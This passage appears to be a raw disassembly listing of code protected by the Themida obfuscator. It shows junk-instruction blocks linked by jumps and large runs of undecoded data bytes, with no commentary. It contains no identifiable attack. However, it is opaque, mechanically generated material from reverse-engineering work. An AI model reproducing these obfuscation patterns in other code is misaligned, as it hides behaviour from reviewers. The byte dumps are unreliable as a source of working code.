0FFFF6FF2h ; --------------------------------------------------------------------------- loc_58BFBC: ; CODE XREF: Themida_:00581DF7j pop eax push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_58ADA4 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0FFB149E9h, 0C7EA81FFh, 8975F302h, 0CE95AD7h, 5FFFFF71h dd 4EC81h, 1C890000h, 351D6824h, 0CCE9670Bh db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BFF7: ; CODE XREF: Themida_:005881BCj add dword ptr [esp], 4 jmp loc_588699 ; --------------------------------------------------------------------------- dd 18D5C781h, 9CE907B1h db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_583522 ; --------------------------------------------------------------------------- loc_58C022: ; CODE XREF: Themida_:0058D013j pop ebp add ebp, 4 jmp loc_58360C ; --------------------------------------------------------------------------- dw 3C89h dd 5F1BBF24h, 0F829FF6Fh, 95C5815Fh, 15E5D13h, 6EB0E9C5h dd 8B66FFFFh, 3FE9240Ch, 5FFFFFE7h, 3C8BFB89h, 4C48324h dd 0E95BDF01h, 0FFFFB970h, 0EE81D6F7h, 1, 0FFDA27E9h, 81CF01FFh dd 0D14EEBC7h, 1C7813Dh, 5972C129h, 0CE9D701h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C083: ; CODE XREF: Themida_:0058B490j mov esi, ecx pop ecx pop edi and eax, esi mov esi, [esp] push ebx push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_58833C ; --------------------------------------------------------------------------- dd 582434FFh, 81595451h, 4C1h, 0CF8AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C0B2: ; CODE XREF: Themida_:0058A75Fj xchg esi, [esp] jmp loc_58874E ; --------------------------------------------------------------------------- dw 0E929h dd 53242C8Bh, 0C3815B54h, 4, 3304C383h, 1C31241Ch, 241C3324h dd 0FF9800E9h, 68575FFFh, 2, 0A3E9525Fh, 8BFFFFFAh, 6856240Ch dd 0B30h, 0FFBDADE9h, 3E0C1FFh, 0A35A3635h, 58C5318Ch dd 0DECBE951h, 48BFFFFh, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 0B951575Ch, 4, 9DE3E951h, 0C8BFFFFh, 90D1E924h dd 0C481FFFFh, 4, 0FF9A25E9h, 36852FFh, 0E9668977h, 0FFFFFD3Ah ; --------------------------------------------------------------------------- loc_58C144: ; CODE XREF: Themida_:005818D2j mov dh, 14h add al, 25h add al, dh sub al, 25h pop dx jmp loc_581F61 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 24041058h, 5767E99Ch, 9268FFFFh, 0E900001Fh dd 0FFFFF6D5h ; --------------------------------------------------------------------------- loc_58C16C: ; CODE XREF: Themida_:00584FB0j pop ebx add esp, 4 sub esp, 4 jmp loc_58CBBA ; --------------------------------------------------------------------------- dd 0D589C289h, 24048B5Ah, 8104C483h, 0F861D0EDh, 74CD815Bh dd 81310808h, 690BFDF5h, 5DE801F3h, 31240433h, 4332404h dd 0BCABE924h, 2C33FFFFh, 242C3124h, 0FF833BE9h, 427F68FFh dd 2C890000h, 0FCBA5224h, 89064925h, 0CD815AD5h, 11E80852h dd 5FD8CD81h, 88E97FE1h, 5C000012h, 12E95052h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C1DB: ; CODE XREF: Themida_:0058DE87j pop ebx jmp loc_583FB2 ; --------------------------------------------------------------------------- db 68h, 0B1h, 1Bh dd 1C890000h, 7A12E924h, 0F580FFFFh, 42C580F5h, 0E959EA88h dd 0FFFF6F8Dh, 4C481h, 74E90000h, 5300000Eh, 0F7B1B6B3h dd 80D4F180h, 0D93067E9h, 0E92434FFh, 0FFFF6942h, 19B75352h dd 5BFE88h, 24148BF3h, 0FF7465E9h, 0B5DAB2FFh, 5AD50004h dd 53A5ED80h, 0F888EF88h, 0FFF12BE9h, 15D52DFFh, 0D029097Bh dd 7B15D505h, 24148B09h, 4C481h, 0C3310000h, 6AE930FFh dd 5DFFFF56h, 0FF8F8EE9h, 0EBC15FFFh, 0AEEB8105h, 81917A2Eh dd 813994C7h, 0CFEF8159h, 810DD132h, 0CA17D1C7h, 0E9DF2968h dd 0E2Bh, 5966CE28h, 70E9F028h, 83FFFF7Bh, 0C48104C4h dd 4, 4C181h, 0EC810000h, 4, 0E9243C89h, 0FFFF8397h, 0A6E9E289h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C2B7: ; CODE XREF: Themida_:00585FEEj pop eax push dword ptr [esp] pop ecx add esp, 4 jmp loc_583C5E ; --------------------------------------------------------------------------- dd offset dword_4E6ECC+1A79Ch dd 240C8900h, 0B8505954h, 70DC7F54h, 570CE957h, 5DB9FFFFh dd 0E938E417h, 0FFFF9DB5h, 8904EC83h, 0E6E92404h, 81FFFFA1h dd 9C04246Ch, 0E9448772h, 0FFFFF71Ch, 0FFBB535Dh, 29FFFFFFh dd 39E95BD9h, 31FFFF82h, 0D8F759C8h, 0D493802Dh, 83D8F786h dd 0BE901C0h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C31F: ; CODE XREF: Themida_:00583227j mov [esp], ebp sub esp, 4 jmp loc_589A0F ; --------------------------------------------------------------------------- aYso db ' ÎYéo',8,0 dd 784EB800h, 0E0C10925h, 25C10507h, 0B9E9AA53h, 81FFFFD8h dd 24A7EEh, 6FD2E94Eh, 0C681FFFFh, 4, 2B850h, 0C6010000h dd 24348758h, 0E924248Bh, 0FFFF7180h, 0B58C681h, 41E92D36h dd 0C100001Ah, 0EFD107E7h, 0FFED5AE9h, 6FA8BAFFh, 0D5314A8Bh dd 5DEB095Ah, 0A163B951h, 0CB019441h, 1E4E9h, 240C8B00h dd 4C481h, 0C4810000h, 4, 8B241C87h, 89662424h, 12E92404h dd 0F6FFFF55h, 0F8EA80D2h, 148BD328h, 0FE36E924h, 0E95FFFFFh dd 630h, 4240481h, 8B000000h, 8952240Ch, 0AC68E9E2h, 8B66FFFFh dd 6BE92404h, 81FFFFE5h, 4C4h, 5A545200h, 0A1C68h, 243C8900h dd 0BD55B8BFh, 14F7816Dh, 0E911D356h, 1BD9h, 0E9240489h dd 0FFFF5FC5h, 915A5952h, 31C13148h, 81C131C8h, 0C90B12E1h dd 0D0BB5301h, 8153CE62h, 6D5C98E9h, 26C18157h, 0E904B807h dd 0FFFFA10Bh, 0E9E38953h, 0FFFFC19Ah, 285AF000h, 5BE92CF8h dd 7FE92104h, 8F000014h, 5473E902h, 5266FFFFh, 432CE9B6h dd 4304F028h, 24148B66h, 34FF5453h, 241C8B24h, 86D2E955h dd 815BFFFFh, 0ED13EDEBh, 0F534E9A5h, 0E951FFFFh, 0FFFFBEC1h dd 2434335Dh, 0E9243431h, 0FFFF9D5Ah, 9BE9DDF7h, 5BFFFFC4h dd 5706F681h, 0F1315F71h, 252E9h, 243C8900h, 0EC83E789h dd 24348904h, 3A6D56BEh, 5EEC109h, 6DF6814Eh, 10049D3h dd 0C7835EF7h, 243C8704h, 0B430E95Ch, 1C89FFFFh, 5DE4E924h dd 0E9ACFFFFh, 0FFFF563Bh ; --------------------------------------------------------------------------- loc_58C4DC: ; CODE XREF: Themida_:0058C685j xchg ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx mov edx, 89B2CBAh add eax, edx pop edx sub esp, 4 mov [esp], ecx mov ecx, 200000h and eax, ecx mov ecx, [esp] push 2EF3h mov [esp], eax push esp pop eax push esi mov esi, 4 add eax, esi mov esi, [esp] add esp, 4 add eax, 4 push eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] jmp loc_5850CF ; --------------------------------------------------------------------------- dd 4C681h, 0C6810000h, 4, 7C04E956h, 68FFFFh, 5D000008h dd 0B5DE821h, 0A3840FC0h, 0FFFFFFB3h, 5BE91C77h, 1FFFF5Fh dd 13C2E9FDh, 0E9510000h, 0FFFF5939h, 0C381E389h, 4, 0FFDB71E9h dd 0D82159FFh, 0E9241C8Bh, 0FFFF9DAAh ; --------------------------------------------------------------------------- loc_58C588: ; CODE XREF: Themida_:00583D78j add edx, 17897B80h push esi mov esi, 65C4721Fh add edx, esi jmp loc_58B31F ; --------------------------------------------------------------------------- db 81h dd 4840D1C2h, 16EA8166h, 102E920h, 16C281F2h, 0E902E920h dd 0FFFF7D36h ; --------------------------------------------------------------------------- loc_58C5B4: ; CODE XREF: Themida_:00585F04j push ebx mov bh, ch jmp loc_585FE9 ; --------------------------------------------------------------------------- loc_58C5BC: ; CODE XREF: Themida_:005876A2j xchg esi, ebx sub ebx, 5F77A33Eh sub edx, 584A35EDh add edx, ebx add edx, 584A35EDh mov ebx, [esp] add esp, 4 add edx, 0C7E9B9A0h push 51C3h mov [esp], edx pop ebx pop edx add ebx, edi jmp loc_58805C ; --------------------------------------------------------------------------- db 8Bh dd 0A2E92404h, 1FFFFB3h, 6D6B2DD8h, 1C8B6DF2h, 0EC815724h dd 4, 0FFB94CE9h, 63C681FFh, 295FFC3Bh, 0FEB850D6h, 407F3D31h dd 0F703E0C1h, 5A36E9D8h, 5159FFFFh, 240C8B54h, 4C481h dd 36E90000h, 0BAFFFFF6h, 6ABF57BAh, 0FFFFCCE9h, 4C481FFh dd 87000000h, 0BDE9240Ch, 8BFFFF97h, 5452240Ch, 0FF5BBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_58C659: ; CODE XREF: Themida_:0058973Ej xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebx sub dword ptr [esp], 89B2CBAh push dword ptr [esp] push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58C4DC ; --------------------------------------------------------------------------- dw 0B951h dd 622B177Fh, 0EFBFE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C696: ; CODE XREF: Themida_:0058A9C5j sub esp, 4 jmp loc_581CA6 ; --------------------------------------------------------------------------- dw 3489h dd 81E68924h, 4C6h, 4C68100h, 0E9000000h, 0FFFFF2CFh ; --------------------------------------------------------------------------- loc_58C6B4: ; CODE XREF: Themida_:00581CD0j push 5BA5h mov [esp], esi push ebx mov ebx, 3C435619h push ebx jmp loc_58BE47 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFBFD1h, 0D8668h, 24148900h, 0FFDDC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_58C6DD: ; CODE XREF: Themida_:0058830Aj dec edi jmp loc_583E86 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF51E1h, 2768DDF7h, 8900003Bh, 0A4E9241Ch, 8B000017h dd 0C4812434h, 4, 26BE5655h, 0BD556255h, 0C295B831h, 0E95EF501h dd 45Ch, 0DF89C389h, 0FA01585Bh, 0FF767CE9h, 6404ACFFh dd 0FF55F6E9h, 242C89FFh, 1A4868h, 24048900h, 4A237BB8h dd 257BBD46h, 4FE9464Ah db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C743: ; CODE XREF: Themida_:00586EAEj sub eax, 6E463A4Ah or eax, 4BDE5C12h xor eax, 2E74F08h sub eax, 491993DAh jmp loc_58197D ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Fh, 0FFC5CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_58C769: ; CODE XREF: Themida_:00588359j push 14D2h jmp loc_587A60 ; --------------------------------------------------------------------------- db 1 dd 0AFE956D8h, 52000015h, 0D84CD068h, 0D7315A4Fh, 0E4E9505Ah dd 66000008h, 0D83166ADh, 42C868h, 7F47E900h, 5429FFFFh dd 815A0424h, 0F7F242Ch, 1C292FDFh, 24048124h, 2FDF0F7Fh dd 0C8240481h, 0E90B213Dh, 0FFFF775Dh, 46BBF381h, 0EA812772h dd 12DA3138h, 5384EA81h, 0DA01230Bh, 0FFEA55E9h, 241C89FFh dd 0FFA444E9h db 0FFh ; --------------------------------------------------------------------------- loc_58C7DD: ; CODE XREF: Themida_:0058AD99j mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] jmp loc_5880E0 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0E7h dd 53595A24h, 254F89BBh, 0B4E9515Fh db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C7FF: ; CODE XREF: Themida_:00583C66j mov eax, 0 add eax, edx push edx mov edx, 0 jmp loc_584199 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 81E38953h, 4C3h, 4C38300h, 0FFDD37E9h, 0F7DD87FFh, 81DD87DBh dd 0E60734E5h, 81D5F762h, 979FF9EDh, 8BEB89CDh, 0C483242Ch dd 0E9DF8904h, 0FFFF899Ch ; --------------------------------------------------------------------------- loc_58C848: ; CODE XREF: Themida_:0058B589j mov esp, [esp] imul cl jmp loc_583C3D ; --------------------------------------------------------------------------- dw 6664h dd 5453028Bh, 7928E95Bh, 0C781FFFFh, 79C05EAAh, 8E5CF781h dd 0FE01F527h, 4BF575Fh, 1000000h, 2434FFFEh, 4EC815Fh dd 89000000h, 5A542414h, 4C281h, 0C2830000h, 24148704h dd 2434335Ch, 33243431h, 248B2434h, 24040924h, 5023E99Ch dd 0A468FFFFh, 0E9000027h, 0FFFF5FECh, 4C481h, 0C4830000h dd 4BBD5504h, 456A4942h, 5947F581h, 0EB814C2Bh, 4DF06AE4h dd 0C381EB01h, 4DF06AE4h, 0FF9401E9h, 0C3805AFFh, 39C3803Eh dd 0F2E9C300h, 1FFFF97h, 31EA81C2h, 8B638B7Ch, 7BE92404h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C8F7: ; CODE XREF: Themida_:00589D66j or eax, eax jz loc_583221 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] push esi mov esi, esp push edx jmp loc_588844 ; --------------------------------------------------------------------------- loc_58C911: ; CODE XREF: Themida_:00582B83j add edi, ebp jmp loc_58AD9E ; --------------------------------------------------------------------------- dd 9358E959h, 0F829FFFFh, 0FF981EE9h, 2C77FFFFh, 0FF4F9CE9h dd 0CFC281FFh, 893CDD63h, 0DDF75AD5h, 3630C581h, 6856510Bh dd 3BCD69E4h, 0FF7653E9h, 565F68FFh, 1C890000h, 40BB24h dd 58E90000h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C95B: ; CODE XREF: Themida_:0058D31Bj push ebx mov ebx, 2B272BD2h push eax jmp loc_586150 ; --------------------------------------------------------------------------- db 1 dd 0D7D0E9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C96E: ; CODE XREF: Themida_:0058AD2Fj add esi, edi mov edi, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_584735 ; --------------------------------------------------------------------------- dd 68242C89h, 35F33DE3h, 83242C8Bh, 6C2904C4h, 34FF0424h dd 0AC2DE924h, 0F758FFFFh, 0CBF281DAh, 420A0E68h, 0FF7272E9h dd 0DF015EFFh, 0FFE296E9h, 96E95CFFh, 53FFFF4Fh, 235CD8BBh dd 0DDEB8122h, 0C1042F3Ch, 0DBF703E3h, 8103E3C1h, 7FEC4C3h dd 0E9DE017Dh, 0FFFFC03Ch, 1AF6C381h, 0BDE9E0EFh db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C9EB: ; CODE XREF: Themida_:00581EB5j xchg eax, ebx push ebp push ebx push esp pop ebx add ebx, 4 push esi jmp loc_582C7E ; --------------------------------------------------------------------------- dd 27EFBB53h, 55E944A7h, 0BDFFFFA7h, 2, 0FFF95BE9h, 4C383FFh dd 0E9241C87h, 0FFFF4F01h, 80D32858h, 0F5A44C3h, 48FC0B6h dd 4E9BE987h, 0C181FFFFh, 4, 8704C183h, 248B240Ch, 1C77FF24h dd 4EC81h, 34890000h, 33CCBE24h, 7431667Dh, 348B0424h dd 4C48124h, 0FF000000h, 0C8B2434h, 0E1895124h, 4C181h dd 34E90000h, 5FFFFFEFh, 8B1C6F21h, 0DE9242Ch, 52000013h dd 0FFF900E9h, 0E9C209FFh, 0FFFF8B3Dh, 77BBEB81h, 4BE947CFh db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CA93: ; CODE XREF: Themida_:0058CD78j sub ebp, eax mov eax, [esp] jmp loc_584CDA ; --------------------------------------------------------------------------- loc_58CA9D: ; CODE XREF: Themida_:00585A61j add esp, 4 mov ebp, edi mov edi, [esp] jmp loc_588BF5 ; --------------------------------------------------------------------------- db 83h, 0C7h, 4 dd 5C243C87h, 0E9240487h, 0FFFFBCDEh, 0E924248Bh, 0FFFFA4AAh ; --------------------------------------------------------------------------- loc_58CAC4: ; CODE XREF: Themida_:00584890j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58AD7C ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Ah, 8B000000h, 0C481241Ch, 4, 0FF92B5E9h, 5D505DFFh dd 9474B858h, 3105C1CCh, 108DE5Dh, 31BB53E8h, 2908DE5Dh dd 15D5BD8h, 10081F8h, 8B000000h, 0C4812404h, 4, 0EC835355h dd 242C8904h, 0DC024DBDh, 246C3144h, 0E95D5D04h, 0FFFFB228h dd 0DB57A068h, 0F934E916h, 0D029FFFFh, 0E9D8295Ah, 0FFFF635Eh ; --------------------------------------------------------------------------- loc_58CB48: ; CODE XREF: Themida_:00582CEBj mov ebp, 28FA3225h shl ebp, 8 jmp loc_58D15A ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 8B54243Ch, 5FE9243Ch, 8000000Fh, 0E950D2F3h dd 0FFFFE507h, 0D0E9D5F7h, 1FFFF85h, 0A36CE9F9h, 481FFFFh dd 424h, 0D908E900h, 0C00BFFFFh, 5636840Fh, 6852FFFFh dd 6325h, 89242C89h, 0E95055DDh, 0FFFFF595h, 0E9AAB353h dd 0FFFF635Eh ; --------------------------------------------------------------------------- loc_58CBAC: ; CODE XREF: Themida_:00589E68j shr edi, 5 xor edi, 8AC3BC8h jmp loc_581ADD ; --------------------------------------------------------------------------- loc_58CBBA: ; CODE XREF: Themida_:0058C173j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push eax mov eax, esp jmp loc_583934 ; --------------------------------------------------------------------------- db 5Ch, 53h, 0BBh dd 3C325A25h, 5A25F381h, 0D8213E32h, 5B2434FFh, 0FF68EBE9h dd 0A7EB81FFh, 1115C02h, 0A7C381CBh, 8B115C02h, 0CE9240Ch dd 53FFFFA1h, 507E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58CC0E: ; CODE XREF: Themida_:00584360j add ecx, edi xor dword ptr [ecx], 0E62BC473h pop ecx loc_58CC17: ; CODE XREF: Themida_:00582871j ; Themida_:00584DE8j push dword ptr [esp] pop ebx push ebx mov ebx, esp jmp loc_581DD9 ; --------------------------------------------------------------------------- aUhhIH db 'UhH+ë',27h,']h',0 dd 29000000h, 49E9242Ch, 89FFFF9Ah, 23BD242Ch, 8174C146h dd 8A048FF5h, 38C5815Ch, 4D6CFD23h, 0FF7212E9h db 0FFh ; --------------------------------------------------------------------------- loc_58CC51: ; CODE XREF: Themida_:0058A33Fj shl eax, cl push edi push ecx mov ecx, 1 mov edi, ecx pop ecx sub esp, 4 jmp loc_58D2CE ; --------------------------------------------------------------------------- loc_58CC68: ; CODE XREF: Themida_:00582D0Ej xor eax, 7DAB7A9Ah jmp loc_58773D ; --------------------------------------------------------------------------- loc_58CC72: ; CODE XREF: Themida_:0058A56Cj push eax mov eax, 1C0F0FD6h sub edi, eax jmp loc_588037 ; --------------------------------------------------------------------------- loc_58CC7F: ; CODE XREF: Themida_:00586CBCj xchg ebp, [esp] mov esp, [esp] mov [esp], ecx pop eax pop ecx push 74EBh mov [esp], ecx jmp loc_58DE2C ; --------------------------------------------------------------------------- db 54h dd 5024048Fh, 4B8h, 0C198E900h, 0EA80FFFFh, 0E9EA0068h dd 0FFFFD96Eh, 83241C8Bh, 41E904C4h, 5DFFFF5Ch, 2474FF53h dd 48F5B04h, 15E95C24h, 52FFFFC1h, 37E9DA88h, 8BFFFF75h dd 0C483242Ch, 4E98104h, 0E9000000h, 0FFFF9482h, 335AD101h dd 0C31240Ch, 0B482E924h, 895CFFFFh, 0EC812414h, 4, 56240489h dd 0FFD35BE9h, 59EA88FFh, 8B5AD188h, 0C4812404h, 4, 0FF848EE9h dd 0BFB951FFh, 29EC080Eh, 7AF4E9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CD26: ; CODE XREF: Themida_:0058B5E6j xor dword ptr [edi+20h], 50A5317h mov esi, [esp] jmp loc_58286E ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 10C2BF57h, 42BD0C8Fh, 0E9F370EFh, 0FFFFF81Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58737A ; --------------------------------------------------------------------------- dd 0BB241C89h, 3C52C91h, 5EBC14Bh, 27FE68h, 0E5EDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CD72: ; CODE XREF: Themida_:0058B7F6j push 2 pop eax jmp loc_58CA93 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 6C4E9h, 0C3296600h, 0FFC763E9h, 0E95CB5FFh, 0FFFF5AA1h dd 50240C8Bh, 4055854h, 0E9000000h, 0FFFFF010h, 8B2434FFh dd 0C4812414h, 4, 0FF596FE9h db 0FFh ; --------------------------------------------------------------------------- loc_58CDB5: ; CODE XREF: Themida_:00582A83j sub [esp], edx pop edx jmp loc_58BC02 ; --------------------------------------------------------------------------- dw 0DBB9h dd 0C1667B73h, 0C98105E1h, 641B5B02h, 53A5E981h, 0CA299B85h dd 81F22959h, 0FA27BDC2h, 85BD5553h, 150385Eh, 85E95DEAh dd 8BFFFFAEh, 0C4832414h, 0D8895004h, 0A4E9C289h, 0B2FFFFE1h dd 66D12073h, 0FC1805Ah, 0FF5073E9h, 80D528FFh, 5A97EDh dd 0BE1FE9E8h, 0D1F6FFFFh, 8812E980h, 0E6C059CEh, 0C9B35307h dd 0C8F380h, 52665BDEh, 152C08B6h, 0B652F028h, 22EE80E3h dd 8025E680h, 0E680A2F6h, 37F68032h, 0B2E9F000h, 5B000003h dd 4BB535Ah, 1000000h, 0E9555BDDh, 0CBFh, 8B66F530h, 0C4832414h dd 1C58002h, 50525066h, 8087B551h, 5CE9ECEDh, 89FFFFADh dd 31BF243Ch, 8165CF36h, 0FFFFFFEFh, 4EFC1FFh, 0C105E7C1h dd 0EF8106E7h, 8E6AC74Eh, 0FF82C2E9h, 241487FFh, 4A30F5Ch dd 22E99C24h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CEA7: ; CODE XREF: Themida_:00581E13j push esi mov esi, 58ED6779h jmp loc_589CD2 ; --------------------------------------------------------------------------- dw 0BB53h align 8 dd 303D301h, 53241C8Bh, 0C381E389h, 4, 8704C383h, 0FF5C241Ch dd 148B2434h, 0E1895124h, 4C181h, 0C1830000h, 7F5DE904h dd 401FFFFh, 0DAE99C24h, 8BFFFF49h, 0C4832414h, 0BA525D04h dd 2, 0FFFDE3E9h, 81E589FFh, 4C5h, 4C58100h, 87000000h dd 0F75C242Ch, 0E7ABE9D7h, 1D68FFFFh, 0E9000069h, 0FFFFFA64h dd 80FCC980h, 0C1FE63C1h, 0FFE390E9h, 1EC181FFh, 93FC7C9h dd 0D3F759CBh, 0DEF1C381h, 0DE016AE3h, 0FFE38AE9h, 1499BAFFh dd 0CA811736h, 41321CACh, 5BB4F281h, 3CE9AD74h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CF5F: ; CODE XREF: Themida_:00588856j push edi mov edi, 4 add esi, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 4 add esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 66C8h mov [esp], edi sub esp, 4 mov [esp], ecx mov ecx, 800h push 6A7h mov [esp], ecx push dword ptr [esp] pop edi push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_585BE0 ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 0E95B0424h, 0FFFFEF48h, 0A46FBC05h, 240C8B3Dh, 0FF752EE9h dd 243C87FFh, 65CE9h, 48EBE900h, 0F2BEFFFFh, 2960D134h dd 835E5EF2h, 148702C2h, 8ECEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CFF2: ; CODE XREF: Themida_:0058916Cj mov [esp], ebx mov ebx, [esp] push ebp push esp jmp loc_5882BC ; --------------------------------------------------------------------------- db 87h dd 0E95C241Ch, 0FFFF48C1h ; --------------------------------------------------------------------------- loc_58D008: ; CODE XREF: Themida_:00584665j push edi mov edi, 4 add [esp+4], edi pop edi jmp loc_58C022 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF4DF8h, 0BA241489h, 95B21BF8h, 0FF9DFEE9h db 0FFh ; --------------------------------------------------------------------------- loc_58D02D: ; CODE XREF: Themida_:005843A4j push edi mov edi, 4 jmp loc_58733F ; --------------------------------------------------------------------------- dd 5D0803BEh, 0F4EE8127h, 8101DFCEh, 0D7181BEBh, 0BCC0E909h dd 1489FFFFh, 4BA24h, 0D7010000h, 8124148Bh, 4C4h, 4C78300h dd 31243C33h, 2EE9243Ch, 0B8000003h, 0BCF23E4h, 0CDE9C731h dd 83FFFF4Dh, 0C8904ECh, 22BB5324h, 893B526Fh, 601FE9D9h dd 23B3FFFFh, 0FFA197E9h, 0D830ACFFh, 55E18951h, 4BDh dd 0E9E90100h, 0FFFFFC2Bh, 65F9EF81h, 0ADE92E1Ah, 81FFFF4Bh dd 0CA17D1EFh, 0CFC78168h, 810DD132h, 813994EFh, 5C1E959h dd 0CF010000h, 756FC781h, 0E9590779h, 0FFFF5C3Bh ; --------------------------------------------------------------------------- loc_58D0D8: ; CODE XREF: Themida_:00581F00j pop ebx pop dword ptr [esp] push dword ptr [esp] jmp loc_581EB1 ; --------------------------------------------------------------------------- dd 45ACB951h, 42E922FBh, 81FFFFFEh, 3F6242Ch, 34FF15D3h dd 24048B24h, 0FFCF32E9h, 0E18951FFh, 4C181h, 0BF570000h dd 45092C7Dh, 0FF62E8E9h, 5B44BDFFh, 56E96613h, 89FFFFA0h dd 51E957E1h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D127: ; CODE XREF: Themida_:0058DD4Ej add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_58DA16 ; --------------------------------------------------------------------------- db 58h, 5Dh, 1 dd 0C8758C1h, 70FE924h, 0B9510000h, 55FE4D11h, 0BED273BFh dd 8BCF01BEh, 0C483240Ch, 0F21DE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D15A: ; CODE XREF: Themida_:0058CB50j sub ebp, 51D5E8E1h jmp loc_585953 ; --------------------------------------------------------------------------- loc_58D165: ; CODE XREF: Themida_:00584005j push 35572EF2h pop ebp dec ebp inc ebp push 6030h jmp loc_585336 ; --------------------------------------------------------------------------- db 89h dd 0F30159CEh, 241C875Eh, 2434875Ch, 0FF4740E9h, 240C33FFh dd 3A0E9h, 246C8100h, 3C087904h, 24148B61h, 0FF04C483h dd 81592434h, 4C4h, 4EC8300h, 0E9242C89h, 0FFFFA46Dh, 0D828492Ch dd 53664904h, 0F828B6B7h, 0FF748CE9h, 56E389FFh, 7353BA52h dd 0D68962B8h, 0DDBB535Ah, 0C137B358h, 0CB8103E3h, 2C736FACh dd 0BF5743h, 29000000h, 5FFB89DFh, 8362EB81h, 0DE01A4BCh dd 5EF3015Bh, 0FFDF03E9h, 81E95AFFh, 66FFFFBFh, 55240C8Bh dd 0EC835D54h, 24048904h, 0D17C73B8h, 7E8C149h, 0E9D7F797h dd 0FFFF5EB4h, 0F6F3EB80h, 0F1C380D3h, 0C7E9DD88h, 0AC000001h dd 0D0E9912Ch, 1FFFFD7h, 240C8BCEh, 8104C483h, 9367DEC6h dd 81CE0161h, 9367DEEEh, 73EE8161h, 8B4F8944h, 0C483240Ch dd 74FF5604h, 8F5E0424h, 0F65C2404h, 874DE9F9h, 148BFFFFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_584014 ; --------------------------------------------------------------------------- dw 5E54h dd 4C681h, 0C6830000h, 24348704h, 0FFE383E9h, 6E6C1FFh dd 0FF4790E9h, 2434FFFFh, 2268535Eh, 89000073h, 0BE562424h dd 4, 4247401h, 0C3815B5Eh, 4, 0B95156h, 49137264h, 81D1F749h dd 726403C1h, 0FEA9E913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D2CE: ; CODE XREF: Themida_:0058CC63j mov [esp], ecx jmp loc_5828B4 ; --------------------------------------------------------------------------- dw 0DCF6h dd 0F180E186h, 0E9CF881Bh, 0FFFFB44Fh, 5AF728h, 68665BF8h dd 896672FBh, 29E92414h, 2D000000h, 22A40110h, 5624348Bh dd 0FF8C28E9h db 0FFh ; --------------------------------------------------------------------------- loc_58D305: ; CODE XREF: Themida_:005846BCj pop esp loc_58D306: ; CODE XREF: Themida_:00581C2Cj push edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx push edi jmp loc_58C95B ; --------------------------------------------------------------------------- dd 0D8B75366h, 0F9885150h, 0A7E9C888h, 0B2FFFFA1h, 3CC28020h dd 664CC280h, 26B050h, 5205E9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- 